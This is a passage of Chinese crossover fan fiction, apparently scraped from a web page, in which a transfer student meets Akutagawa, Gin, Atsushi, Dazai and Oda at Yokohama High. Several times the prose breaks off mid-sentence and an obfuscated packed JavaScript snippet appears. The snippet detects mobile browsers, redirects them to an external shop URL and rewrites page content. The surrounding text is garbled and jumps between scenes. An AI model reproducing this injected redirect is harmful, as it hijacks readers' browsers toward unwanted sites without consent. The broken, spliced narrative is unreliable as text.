我点点头,心中记下“新宿舍”三个字。招呼已经打完了,我们擦肩而过,我突然想起来一件事:“我看你没有带洗浴用品,要用我的吗?” “不必了,夜叉白雪帮我拿着。” 闻言,我疑惑地回首,她却没有回头,朝淋浴间走去。 太奇怪了,横滨高校的同学们呀。不过时间还长,总能发现他们的秘密的。 不过,唔,泉同学一个人走过能带起这么大的风吗? 昨晚淋浴完回宿舍,银果然还没回来,看来宿管有关宵禁不严的话是真的。我把头发吹干就上床睡了。 本以为自己会认床,没想到沾床就睡,可能是白天太累的缘故。梦到很多奇奇怪怪的东西,似乎是高专的生活,一边和同期打闹一边吃着牛肉盖饭。突然小银抱着一摞书堆到我面前,我翻开书,只见字里行间密密麻麻写着“看不懂斯密马赛”。接着含泪坠入无尽的物理公式之深渊无法自拔。 我醒了之后仍心有余悸,发了一会呆后决定将请家教一事提上日程。我揉了揉眼,小银的床位依然是空的,只有床边叠好的衣物显示她昨晚回来过。大概是深夜回来补了个觉,在我还没醒的时候就起床了。 所以小银你完全不用睡觉吗?!你们协会到底有什么社团活动需要夜间进行啊? 我忍住吐槽的欲望,慢吞吞地去卫生间洗漱,换上新校服。 我看着更衣镜中的身影愣神。 镜中的女孩穿着西式制服,新鲜地在镜前转来转去。黑色披肩长发被利落地扎起,白色衬衫每一处褶皱都被细心抚平,深色短裙垂到膝盖。每一处都完美满足了我对正常jk的美好幻想! 想到中学刚告别了水手服,满心期待着高专的制服,即刻被黑色紧身运动服泼了盆冷水。虽然明白是为了行动方便而且耐脏,但还是心有不甘。 好耶,是正常JK应该过的高校生活! 我像待机的游戏角色一样原地蹦哒了两下,神清气爽地走出宿舍,一路没有认识的人。 值得一提的是在食堂遇见了坂口学长。他依旧是疲惫的模样,目光在校服上滞留一瞬,然后自然地朝我点点头。 “早啊,坂口学长。昨晚没有睡好吗?” “早,千叶。只是睡眠时间有些不足,昨晚学校有些突发事件需要学生会跟进处理。” 我没忍住自己的八卦之心:“是学校东门的事情吗?” 他目光微沉,不动声色地问:“千叶你知道?” “唔,不太了解。只是昨天搬行李刚好路过,被好心人劝走了,还帮我提了行李。” “不是什么大事,只是校外人员和校内社团的一些冲突。”他放松下来解释道,和我并肩走出食堂。 “……说起来,在横滨的第一天,感觉如何?” 我竖起大拇指:“超级棒!大家都好有趣,对我很友好!这里的社团也很有意思呢,我们学校的社团活动都是在半夜举行吗?” “不要这么自然地接受某些奇怪的事情啊。”他忍不住吐槽,有些担忧“只有一些特殊的社团晚上会有活动,你遇到这些社团的成员了?” “我的新舍友和同桌应该就是坂口学长你说的那个社团成员之二吧。”我毫无知觉地笑着。 “……诶?坂口学长你怎么脚滑了?” “没有事。佑木你真是意外的好运气啊。” “虽然不知道学长是从哪里看出来的,但我也觉得来到这个学校后运气变得很好呢。” “不,并不是夸奖。”他冷静地扶了扶眼镜。 到了楼梯口,几个年级不在一层楼,我们即将分开。他说:“无论如何,如果遇到什么困难,可以去学生会找我。” “诶?好的坂口学长。” 客气道别后,他走向高三楼。 到了班里,一个戴眼镜的女生眼前一亮,我听到她和旁边的女孩悄声说“果然新同学换上校服更可爱了呢”。 见到我投过去的目光,她不好意思地背过身去。另一个女孩清脆地笑起来,大大方方地朝我打了个招呼:“千叶同学,早上好。”她眼角的泪痣为清丽的容颜增添几分魅惑之感,眉眼一挑就泄出几分风流。我回过神时,却见她乖乖坐在位置上,一派清纯无辜的样子。 我走过去和她们聊了起来,女孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他额头跳了两下,忍无可忍地移开视线,终于重新开始自习。 win!我悄悄眨了眨酸涩的眼睛。我才不会暴露刚刚心虚不敢直视他眼睛,坚定地凝视对方眉毛的真相。嘻。 中午照常和小银芥川一起吃午饭。我坐在二人对面,目光在二人之间徘徊。 我严肃地宣布:“所以芥川你的眉毛果然是自己剃掉的吧!” 芥川头顶冒出#字:“在下说过了,是天生的。” “可是小银就有眉毛。”我深沉地说。“难道你不是小银亲哥哥吗?” 芥川一副被噎住的表情。几次接触下来我发现芥川实在是单纯且耿直,经常被我的神奇逻辑绕住,又碍于小银不能生气。 “难道!”我又将犀利的目光投向小银:“小银你的眉毛是画的?”其实你也没有眉毛! “……佑木。” “嗯?” “请推荐一支24小时不用补的眉笔。” 呃……! 6. 不期而遇 就这样打打闹闹地吃完一顿饭。我们收拾好餐盘准备离开时,一向冷淡的芥川突然看见了什么人,面露凶光:“人虎……!” 我发誓,我真的看见他脑壳在冒黑气! “芥川!”他死死望着的方向传来同样咬牙切齿的声音。 嗯?好熟悉的声音……! 我心中浮现出一个身影,暗道不会这么巧吧,抬头和一双紫金色的眼眸对视上。 白发少年顶着狗啃的刘海,连忙把凶恶的表情收了回去,有些错愕:“千叶小姐——?!” 我的眼睛微微睁大:“中岛君!” 我发现中岛敦身旁是贤治和昨夜认识的黑发少女泉镜花。 “佑木,你和敦认识吗?”贤治好奇地问。 一语刚落,我感到所有人的视线凝聚在我身上。我头顶缓缓滑落一滴冷汗,假装镇定地用余光瞥着其他人。 中岛敦期待地看着我,眼里放出的光芒击中了我的心,让我想起初遇时这个少年的可怜模样。我的目光往过滑了滑。 贤治一如既往地单纯温和,他似乎好奇我和中岛敦的关系,目光在我和中岛敦之间游离,并朝我安抚地微笑。 泉镜花,昨夜邂逅的神秘少女。她警惕地看着我身侧的芥川兄妹,身体紧绷似乎随时要进攻,我注意到她脖子上挂了一个老式手机,此时她动了动手指,像是要召唤什么东西……嗯?噫!好中二的形容! 银的注意力一直放在我的身上。她站在我身侧前进一步,处于可以随时把我护在身后的位置,不容置喙地将我揽入她的保护范围。 芥川的目光从他口中的“人虎”转到我身上。即使无法观察到身侧的他的表情,也能想象到他是如何皱着眉头打量着我的。看来他和中岛敦的关系实在不好,甚至无法容忍我与其有任何交集。 贤治应该和其他人没有什么仇,中岛与芥川交恶,泉镜花和中岛关系亲密且警惕芥川和小银。我简单梳理出几人的关系,不由汗颜。 “我在开学前和中岛君在一列新干线上……”我弱弱解释道,“因为都是准高校生,就多聊了几句。中岛君还帮了我很大的忙。” “不不不!是我应该感谢千叶小姐你请我吃饭才对!”中岛敦连忙摆手,脸红了起来。“上次因为意外没有来得及问你的学校,没想到能在这里再次遇见千叶小姐你。” 我想起初遇时的“小意外”,笑容突然变得勉强。 正要回答,身侧芥川冷哼了一声。略带讽意地说:“连饭都需要素不相识的女子接济,人虎,真是过得狼狈啊。” 中岛敦捏紧了拳头:“芥川,离千叶小姐远一点。她和你们不是一类人。” “我们结交什么人,不是你能干涉的。卑劣的人虎。快点带着懦弱无能的叛逃者滚吧。”他冰冷的目光移到泉镜花身上。泉镜花身体僵硬了一瞬,随即坚定地回视。 “镜花才不是你口中懦弱无能的人。”中岛敦上前一步,对芥川低吼。我似乎看见他金色的瞳孔渐渐竖起来,像是某种猛兽。泉镜花紧握住手机,芥川冷呵一声,手缓缓插进衣兜,小银上前一步,留给我高挑的背影。贤治也紧绷起来,不知怎么的担忧地看了我一眼。 气氛一下变得剑拔弩张。我有些不明所以,不明白两拨人为何一言不合就一副要开打的样子。 我有些慌张地开口:“各位——有什么话不能好好说啊——”呃!可恶啊,好老套的劝架台词!可是一时间想不出来什么话。我试图扒拉开小银挡在两拨人中间,但小银就像背后长眼睛一样,稳稳按住我的手,我无法挣脱。 灵光一闪,脑中突然想起曾经在互联网上刷到的劝架小视频。 我脱口而出:“你们不要为了我打架啊!” 芥川黑着脸:“你在说什么?在下怎么可能为你打架?” “不是因为我?那还有什么好打的?”我手挣脱不了,更加着急地调动脑细胞。 “有什么事情比我重要啊!”我震声道。 芥川被我理不直气也壮的发言惊到了,和中岛敦同时停下了动作。 出现了、 千叶佑木的专属异能力「宇宙第一强大的冷场」。 效果很好。就是有点废佑木。比如我现在就想直接投河。 我就说不能老刷视频吧,脑子刷坏了(指指点点) 空气凝滞了一瞬。随即一个慵懒的男声插了进来—— “啊啊~真是有趣的一幕啊。” 芥川一怔:“太宰学长!” 一个青年懒洋洋地走到二人中间,手轻轻搭在二人肩膀上,不容置喙地将他们分开。他笑眯眯地说着,语气里却充满了冷漠:“不过一切到此为止吧,食堂可不是打架的地方。” 芥川心有不甘,最终还是和中岛敦一同退步。其他人见这位叫太宰的学长来了,情绪都稳定了下来,好像找到了主心骨。 哇哦。 我悄声说:“好帅哦。”银突然捏紧我的手,像是在警告我不要做声。我立马把嘴闭上,但那个男子已经看了过来。 他鸢色的眼眸朝我俏皮地眨了眨,用夸张的语气说:“哦呀,这么久不见,芥川已经有女友了吗?” 这位太宰学长!请不要乱猜啊! “并不是。太宰学长。”芥川有些恼怒地回头瞥了我一眼,正巧和我对视后又极快地移开了视线,面上有些不自然。 呃,好像收到了来自芥川的嫌弃? 他没有被芥川扰乱好心情,又转而兴致勃勃地和小银聊起来。“那么,这位美少女就是小银的女友了?” 小银慌乱地“咦”了一声,磕磕绊绊地回答:“只是朋友、我的新舍友……”她静了一瞬,及时克制住顺势把我介绍给太宰的走向,握着我的手无意间又紧了一下。 太宰意味深长地看了一眼小银握着我的手,她才反应过来,像碰着炮烙一般甩开手。 “太宰学长,如果没有事,我和哥哥……先告辞了。” 他好心情地挥挥手当做同意。而芥川自从太宰出声以来就在原地一动不动凝视着太宰。小银扯着芥川的衣服,硬把他拽走,难得得给了我一个眼神。 我福至心灵,默默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213626|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟上小银。突然想到一件事情。 我心里踌躇着,不自觉放慢脚步,忍不住悄悄回头看一眼,见太宰学长正在和旁边座位的女生搭话,春心荡漾的样子,似乎丝毫没有注意到我们。 我停住脚,还是唤了一声:“中岛君。” 中岛敦一直目送着我走远,没料到我突然回头,还叫他的名字。有些惊讶,“怎么了,千叶小姐?” “叫我千叶就可以了。”我温和地笑笑,又抿了抿唇,还是问出了口:“……之前那只追踪你的白虎,如何了?” “这个……”中岛敦面色一僵。 我静静看着他,“中岛君不想回答就算了。我也只是突然想到这个问题……我很担心你。” 他反而有些不好意思地挠头:“谢谢你的关心,问题已经解决了。其实……那只白虎,”他小心翼翼地看我一眼,“就是我自己。” ……诶? 我呆滞住了,不可思议地看着他。 “原来中岛君发现了?”你有臆想症的事实? “抱歉那天给你带来了麻烦……等等?”他猛地抬起头:“你早就知道了?” “怎么说……”我无奈地解释“你那天发病的时候太吓人了,很快就能联想到你有臆想症吧?” 中岛敦的眼睛慢慢睁大,我看见他紫金色眼睛里闪着疑惑。 “不、不是臆想症啦,千叶。那是我的异能力「月下兽」,会变成白虎。” ……我扶额。 横滨高校,看看你们给孩子教了什么,人均中二病啊! 不过,中二病总比臆想症要好……我回想起之前中岛敦的状态,如同惊弓之鸟一般疲惫憔悴,被拘束在囚笼里挣扎。而现在看起来有活力多了。 想到这,我觉得中二病也不是很难以接受了。笑着挥挥手:“这样吗?真是厉害的异能力啊!你没有问题我就放心了,那我先走了,下次见,中岛君。” “等等,千叶,芥川他们……”中岛敦的话被我抛在耳后。 我并没有发觉,那位有点不着调的学长不知何时停下了和女性的攀谈,一双鸢色眼眸此时饶有兴味地观察着我。 “臆想症……?” “各位旅客你们好,列车即将到达……” 广播声音突然将我惊醒。我迷糊地从座位上起身,揉了揉眼睛。刚被唤醒的大脑有些迟钝,窗外天色暗了下来,我有点搞不清新干线到哪里了。吃完晚饭后赶上了末班车,因为太累所以一坐下就睡着了。到了东京站估计是深夜,到时候还要打车去新学校咒术高专。嗯,夜蛾老师好像说会派学姐来接我? 很多细碎的想法从脑海里闪过。我准备把手机拿出来看一下时间。摸到空空的衣兜,我心里一沉。 上新干线之前我已经托家人把行李寄到高专,所以并没有带什么东西,身上只有一部手机,到了郊区还要和老师联系。 我坐在座位上没有动,一副没有睡醒的迷糊样子,降低小偷的警惕心。我借着打呵欠把车厢里的人扫了一遍,发现身侧的一个中年人紧张地注意着我的举动。 7. 少年“人虎” 我收起困顿的表情,冷冷瞥了他一眼。他慌张地移开视线,匆匆从座位上起身走向别的车厢。 想跑?我迅速伸手想拉住他,眼角瞥见他袖间银光一闪,立马敏捷地避开。他趁着我避开的空当,两步蹿了出去。 喂喂—— 我刚想喊出声,眼前闪过一片白色身影。两个身影交叠在一起撞到地下,叮当一声,一把小刀被甩很远,锋利的刀尖闪着寒光。那个疑似扒手的中年人已经开始破口大骂。 诶?天降好心人? 这么大的动静很快招来了工作人员。我简洁说明了情况,很快工作人员就把两个人分开,并且从中年人身上找到一款粉色壳子的手机。 我点点头:“是我的手机。” 工作人员道歉后,把小偷捆了起来,表明会在下一站移交警察局。我无所谓地摆了摆手,并不是很在意那个小偷。 我回到座位上,转头看向那个白发少年。是他刚刚及时拦下那个中年人,引来了工作人员。 “谢谢你。”我朝他鞠躬。 “不、没事的。”少年连忙摆了摆手:“我刚刚看到他偷了你的手机,正在犹豫怎么提醒你,他就要离开了。我一着急就追了上去……” 我不由笑了出来:“看到的人不在少数,只有你原因站出来。你真的很勇敢呢。” 他的脸一下红了起来,半天说不出话。 我主动介绍:“我叫千叶佑木。准高校一年生,要去东京上学。你呢?” “我是中岛敦,院长替我联系好了学校,让我去横滨求学。” “诶?院长?” “我是在孤儿院的孩子。” “抱歉。”我才反应过来,原来他狗啃的刘海不是追求潮流,可能是为了省钱自己剪的。我还以为他短了一截的衣衫是最近流行的风格呢。 他摇了摇头,刚想说什么,“咕——”的一声响起。我们都愣住了。 我迟疑地问:“中岛君,你饿了吗?”明明刚过饭点吧。 他有气无力地说:“啊,院长没有给钱,我已经一天没吃饭了。” 我被他冲天的怨念惊住了。看他的眼神已经饿得有点恍惚,忙招来乘务员:“乘务员,点餐!我要点餐啊啊!” 十五分钟后。 我震撼地看着面前吃完的盒饭高高堆起来,逐渐埋没了少年的脑袋。他把头紧紧扣进便当里,嘴里塞得满满当当。 “中岛君,你的胃连着异次元空间吗?”我忍不住吐槽。 “吃饱了……好满足……”中岛敦吃饱后摸着鼓起的肚子幸福得瘫在座位上。我无奈地招手示意乘务员过来收拾餐盒。 “明明院长连钱都不愿意给你,为什么还要费心思把你送到横滨读书呢?”我不解地问。 提到院长,他的头耷拉了下来:“大概是孤儿院支撑不住吧?而且他们本来就不想让我留在孤儿院读书,他们总觉得……我的存在没有意义。或许我本来就是多余的存在。” 少年第一次说出如此丧气的话。我转头认真地说:“才不是呢,中岛君。你刚刚不就为我夺回了手机吗?” 我自顾自地嘟囔:“你知道没了手机,我会有多麻烦吗?一会下了车站要从人生地不熟的站口一个人到郊区学校。不能导航,也不能打车,一个人走过去。” “多亏了中岛君,我才从那样的窘境摆脱出来,现在能淡定地坐在这里请你吃饭。”我看着他的眼睛,“中岛君,这是因为你的存在啊。” 我才注意到他的眼睛是罕见的紫金色。那双本应闪着这个年纪应有的纯洁和坚定的眼眸此刻是难以忽视的疲惫与自卑,有着抹不开的阴霾与尘埃。 我垂眸思考,他在孤儿院经历过什么? “千叶小姐……谢谢你。”良久,我听见少年的回应,像是沉默的叹息。 东京站快到了。我看看窗外的景色,本来坐的就是末班车,现在天色渐深,月光从云间漏了出来。 “天黑了。”我喃喃道。“不过没关系。跟着月光走,就能找到路。”我靠在座椅上,深深吐出一口气。 中岛敦试探道:“要到学校了,千叶小姐不开心吗?” “只是有点不安。我以为我会和发小一起上帝丹高中呢,没想到临时转到了高专。”我想想,“不过,如果在高专能找到同类,也不算坏事。” “同类?” 我眨眨眼,朝他神秘地笑了一下。 事实是,高专也不是我的归宿。——后来的我补充道。 “深夜赶路的话,千叶小姐一定要小心一些。”中岛敦转而担忧我的安全,“最近有一头白虎夜间出没,破坏庄稼,还伤害人。” “白虎吗?”我挠挠头,“怎么想,都只会出现在乡下吧?我可是要去东京啊。” “不一定。其实,那只白虎一直在追着我。”他烦恼地叹了口气。 “诶??!追着中岛君吗?” “是啊。从我离开孤儿院开始,我去哪里,哪个地方就会有关于白虎的报道。” “这也太匪夷所思了,白虎为什么要追着你跑?” “……要是我知道就好了。”他继续补充,“总之,虽然我和千叶小姐目的地不一样,但是千叶小姐也要小心啊,除了白虎,夜间的郊区也会有很多危险。” “各位旅客你们好,列车即将到达东京站。……” 我轻快地从座位上蹦起来。“我会小心的。如果遇到白虎,我可以模仿中国的一个角色哦。”我做了个挥拳的动作,朝他眨眨眼。 “孔子吗?” “……武松啦。为什么会想到孔子?” “啊,因为那个,在山林中遇见亲人都被老虎吃掉,正在哭坟的妇人?” “等等,中岛君你把自己内涵进去了啊!” 不过,苛政猛于虎吗? 我下车前朝他挥挥手,眼睛眯成一弯月牙:“中岛君,再见。” 刚下车站,月光就透着云层笼罩了我 已经这么晚了吗?我看着乳白色的月光指引车站来往的旅客,表情慢慢温和下来。 多么祥和的一幕。 “啊啊——!”传来一声惊恐的尖叫。 ……fine。当我没说。 我循着声源望去。记起来那是我下车的站台方向,心中莫名不安。 发生什么事了? 对了,中岛君还在新干线上,恐怕还没开走吧? 站台的旅客本来就不多,此刻都争相逃离此处。我躲避着奔跑的人,恐惧使他们丧失了理智,只顾着肆意尖叫。我在跟着人群逃跑和探寻发生了什么之间徘徊一下,还是忍不住伸头看站台发生了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我盯着他,实在不敢直视那双冰冷的眼眸,索性死死盯着狗啃刘海,打算有什么异动立马往后躲。“我是千叶佑木,你认识我吧?——千叶,佑木。” 他眼眸微动。 我立马警惕起来。心里有些后悔为什么不赶紧跑要回头看他一眼,想起在新干线上他还提醒我小心白虎,难道就是在暗示我吗? 他动了。我有些害怕地后退一步,发现那个少年转身一头扎进了站台外的林中,身姿矫健神似白虎。这边本来就是比较偏僻的站台,他一逃进林中估计是难以找到了。 他走后良久我才敢动。发现自己的手至今还在抖,我轻抚胸口吐出一口气,撩了把被汗水打湿的刘海。转身离开了站台。 沿着公路走了很久,终于和前来接我的高专学姐汇合。冥冥学姐随口问了句:“怎么这么狼狈?” 我沉默许久,憋出来一句:“这个世界……真是太癫了。” 冥冥学姐:? 之后到达高专的过程不必谈。只是走在路上,心中浮现出一个疑惑:如果院长是为了打发精神患者,随便送个精神病院就可以。何必送到大城市去读高校? 自那时,我就对横滨高校产生了兴趣,也对中岛君口中的院长有了好奇。 8. 出发!咖喱店 得到回答后我安心很多,迅速追上了芥川和小银。芥川虽然对于我和“人虎”认识这件事非常不爽,但并没多说什么。小银偷偷告诉我,太宰学长是把他们兄妹带入社团的前辈,后来跳槽到隔壁社团了,目前在带中岛敦这个新人。二人此前还有不小的冲突。 总之,芥川和中岛敦,是见面就掐的死敌。 我忍不住说,芥川不应该讨厌太宰学长吗?怎么会讨厌中岛敦? 小银说,哥哥是太宰学长从新人带起来的,私交甚笃。 我回想起太宰学长当时看芥川的冰冷眼神,欲言又止,所以芥川很在乎太宰学长? 小银幽幽说,我哥哥本来挺聪明的一个人,一听到太宰,就脑供血不足。 我:…… 能得到亲妹这般吐槽,芥川你也是无敌了。 小银吐槽完,又叹了口气,说,不过,我也能理解哥哥的心情。 什么?我随口问。 小银垂眸不语。 下午放学后,芥川难得为我开了一次尊口:“在下和小银经常有社团活动,晚饭不能和你一起吃。” 我受宠若惊地摆摆手,表示不介意:“你们也很忙啊,怎么能天天陪我吃饭。我自己去食堂,也能认识些新朋友。” 也许是想起午饭的另一帮人,他默了默,还是忍住没有说话。闷闷离开了教室。 我倒是不着急走,留在座位上把今天的课程过了一遍。每一个知识点都能背熟,但就是搞不清,想到都是以前在高专造的孽,我叹了口气继续闷头复习。 把今天的课程勉强弄懂后已经过了很久。我看了一眼表,都快到晚饭时间了。果然自己学习效率还是太慢,尤其是课程落这么多的情况下自学。 今天也是求补习老师的一天。= = 出了教室,本应直奔食堂,我却脚下一拐,出了学校。 ……昨天好像路过一家咖喱店。我犹豫地回想到。 我对这个城市还是很好奇的,想出学校多看看。 穿过一片繁荣的街道,忽略巷口几个小混混的大乱斗,路过一家家店铺,我最终站在一家咖喱店前。 招牌和位置都很普通的一家店,透过玻璃看见里面只有零星几人。这样普通的一家店,昨天和小银他们路过,偶然闻到咖喱味后就念念不忘。 我推门而入,看到一个红发青年站在收银台前。 “欢迎光临。”他面无波澜地说。 ……完全不像欢迎的样子啊?我犹疑。 “哈哈,织田就是这样。总是忘记做表情。”店铺内间掀帘走出店长大叔,笑眯眯对红发青年说:“对客人热情一点啊,织田。” 织田顿了一下,平静地扯出一个笑容。 我:“……” 我:“这就是皮笑肉不笑吗?”怎么做到笑得如此诡异的?! 他慢半拍地回答:“没有吧,我的面部肌肉也在笑啊。” “重点居然在这里吗?”我吐槽。 “小姑娘一来店里,小店都变得敞亮了啊。”店长大叔感叹道,“小姑娘,你要吃些什么?” 我仔细看了看旁边的招牌,咖喱蛋包饭,咖喱鸡排饭,牛肉咖喱饭,特辣咖喱饭……我的目光在“特辣”上停顿了一瞬。 织田敏锐捕捉到我的微表情,问:“要试试辣咖喱吗?” 店员推荐吗?我点点头,“那就这个吧!” “小姑娘,这个很辣的。”店长无奈地看了一眼织田,被他平淡又夹杂疑惑地看了回来。 “没事吧?”我思考了一下,“我还挺能吃辣。” “你可能受不了这个辣度。”他又劝道。 “可是,如果因为一些假设就不去尝试的话,我永远也不会知道到他口中的美味辣咖喱是什么味道。”我指着织田。“就算被辣哭,我也不会后悔的。” 店长愣了一下,随后发出一阵爽朗的笑声,一副“拿你没办法”的无奈样子,转身去准备咖喱饭。 店里没有多少人,有意思的店长也不在了。我托着腮,百无聊赖地数着桌子上的木纹。 “不去尝试,就不会品味到的味道吗?” 一个声音传来。我抬头,那个叫织田的青年看着我说道。 “我说的有问题吗?” “没有,我很赞成。”织田点点头,眼里闪过笑意,“我有个朋友,因为害怕受伤,不愿意接受任何人的善意。” 诶?这不是可以笑得很自然吗。 “那他真是个胆小鬼。”我毫不客气地说。“想要创造羁绊,就要忍受掉眼泪的风险。” 他默了一秒。 “那我应该……让风险成真了吧。” 我惊讶:“你让他落泪了吗?” “是的。虽然他没有哭,但是我退出我们的社团的时候,他看起来很难过。” “你真是过分。” “啊,不过我让他加入了其他社团,在那个社团交了很多朋友,应该过的还不错吧。” “希望他能交到更好的朋友。”我由衷地祝福这个胆小鬼,织田也赞同地点头。 这时,店长的辣咖喱上来了。辛辣的香味刺激着我的鼻腔,我看到织田咽了咽口水。 “谢谢店长!”我开心地道谢后,拿起勺子开始进餐。 辣咖喱进嘴的第一口是刺激的。感觉脑子一下子被激活了,麻辣的痛感从舌尖蔓延到食道,让人忍不住抽气。然后就是咖喱的香味,在口腔里久久不散。 我又舀了第二勺,在店长惊讶的目光下一口口将咖喱吃完。虽然被辣的不轻,但店长做的辣咖喱真的无敌美味啊! 把勺子放下后,我抽着气灌了一杯凉水。织田从善如流地接过空杯子,又为我把杯子添满。 “谢谢啦,你推荐的辣咖喱真是超级美味啊!织田大叔!”我的脸被辣得通红,挣扎着朝他竖起大拇指。 “大叔”的称呼竟然让他毫无波澜的脸上浮现出类似于纠结一般的情绪,没过多久,他像说服了自己似的,平淡地颔首接受了这个称呼。 “哈哈!”店长笑了起来,“小姑娘,你是横滨高校的学生吧?织田是你的学长啊。” “诶?!”我瞳孔地震,猛地转头看织田。 凌乱的红发,沧桑的眼神,没有刮干净的胡茬……怎么看也不像是学长吧?难道说的是已经毕业的…… “啊,我是横滨高校三年级生,织田作之助。”他淡淡地叙述。 “……” “是吗、那,织田学长可真是成熟啊……哈哈……”我恍惚地喃喃。 “不对!”我发现端倪,“织田学长你怎么胡子都不刮干净,学校不允许的吧?” “这个啊。”他烦恼地摸摸下巴,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213628|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我每天都有刮,可是就是刮不干净。” ……胡茬是本体吗? “而且织田正在休学期间,学校暂时管不到。”店长笑呵呵地说。 “休学?”我疑惑地问,“三年级了,学校会允许休学吗?” “织田之前参加比赛受伤了。”店长说,“比较严重,所以学校同意休学。” 织田作之助有关退社的言辞让我隐约感觉事情没有这么简单,但我没有多问。 “原来如此。”我点点头,“织田学长,请注意休息。” 又忍不住吐槽:“就算是休学了也不要轻易接受‘大叔’这个称呼啊!” “嗯?但是幸介他们也会叫我大叔。” “幸介是?” “算是我的孩子吧。”他如实相告。 “哦哦,原来是……什么?!”我发出尖锐爆鸣声。 孩子是什么鬼?织田学长你才是高校三年生啊!孩子就孩子,什么叫“算是”?! “嗯,我的孩子。” “织田学长你……你都有孩子了?”我委婉地打探。 “是啊,一共五个孩子,经常会打架。”他竟然有些苦恼。 我瞳孔地震! 五个??! 所以织田学长你休学的原因,是男女交往过密被校方劝退了吧? 我认识了什么不得了的学长啊!! “织田,把话好好说清楚啊。”店长叹息。 “我哪里说的不够清楚吗?”织田作之助虚心求解。 店长扶额。对着思考人生的我解释:“织田经常去孤儿院做义工。他说的是孤儿院几个顽皮的孩子,和织田很熟。” “我想过收养他们,但是年龄不允许。”织田作之助幽幽补充。 “原来是孤儿院的孩子。”我小声嘟囔,悬着的心终于放下。我还以为自己即将面对一位唐璜呢。 不过,织田学长真是意外的善良。没想到他冷淡的外表下是这样的天然。 想到这,我活跃地说:“有机会的话,我也想到孤儿院看看孩子们。” “啊,那你有时间的话,下次可以和我一起去。” “可以吗?”我有些惊讶地起身,才想起来郑重地自我介绍:“我是千叶佑木。店长和织田学长叫我佑木就好。” 店长和蔼地应了一声,看看我和织田学长,挤着眼睛到后厨了。 “孩子们会很喜欢你的,佑木。”织田作之助由衷地说道。有种老父亲把继母带到孩子面前相识既视感……不对。 “学长你就这样把陌生人往孩子跟前带吗?也太心大了吧!” “啊?佑木的话,没关系的。”他平淡地看着我。 “什么啊?这么笃定吗?” “你不是坏人。” “……因为我吃辣咖喱吗?”我诡异地理解了他的脑回路。 “不全是因为这个。” “所以吃辣咖喱还是占评判标准的一部分对吗?!” “啊,吃辣咖喱的人都不会很坏吧?” 话题越来越偏,我只好举旗投降。他收拾起餐桌。我起身告辞。 “下次再见,织田学长。” “嗯,再见,佑木。” 我拉长声音:“我走了啊——店长——” 没有听到声响,我推开门走进了来往街道。 9. 辣咖喱保送医务室 回学校的路上我感觉辣咖喱带来的痛感迟迟未消,并未多想咂吧着嘴就回到宿舍了。 哪像刚躺倒床上,一阵阵腹痛卷袭我。我裹着被子在床上蛄蛹,像是被人哐哐怼了两拳,半天起不来。 可恶,腹部好痛。 我趴了一会,勉强爬下床,慢慢走出宿舍。此时除了医务室,再无他处可以去。 我敲开了医务室的门,开门的是一位高挑的短发女性,眉眼间尽是百无聊赖的神情。我有点站不稳,身子一歪刚好栽进她怀里。混乱之下,似乎看见她的学生牌上写着“与谢野晶子二年级”。 我:“……” 与谢野晶子:“……” 腹部隐隐作痛,在此刻如此社死的氛围下,我选择两眼一闭安详地昏迷在令人安心的充满消毒水气味的怀抱中。 意识消失之前似乎还听到了暴躁的声音:“喂!别死在医务室啊!老师回来了又要误会……” 真抱歉,学姐。……但是,为什么要用“又”? 好安静、躺在不算舒适的床上,只能听到钟表发出沉重的叹息。 嘀嗒、嘀嗒…… 好累,想和床融为一体。 除了嘀嗒声音外,还有什么声音呢?窸窸窣窣的衣料摩擦声,刻意放轻的脚步声,倒水的声音,玻璃容器碰撞的清脆一响。 啊,想起来了,我在医务室。 我挣扎着张开眼睛,看到了洁白天花板。微微扭头朝声源看去,看见刚刚扑倒的学姐正在调配溶剂,我猝不及防与她对视。 我:“……” 昏迷前学姐暴躁的声音还在耳边回放,面对此景,我果断选择再次逃避。闭上眼睛,把头扭了回来,安详地继续睡觉……好困啊,呼呼…… 但这次逃避好像不奏效。 “那个家伙!千叶佑木,对吧?醒了就不要再装睡了。你知道你睡了多久吗?” 我勉强睁开眼睛,慢慢从床上坐了起来。注意到左手打着点滴,我有些惊讶。 “给你打了一了瓶生理盐水。你有轻度肠胃炎,吃点药就好了。”与谢野晶子主动解释。 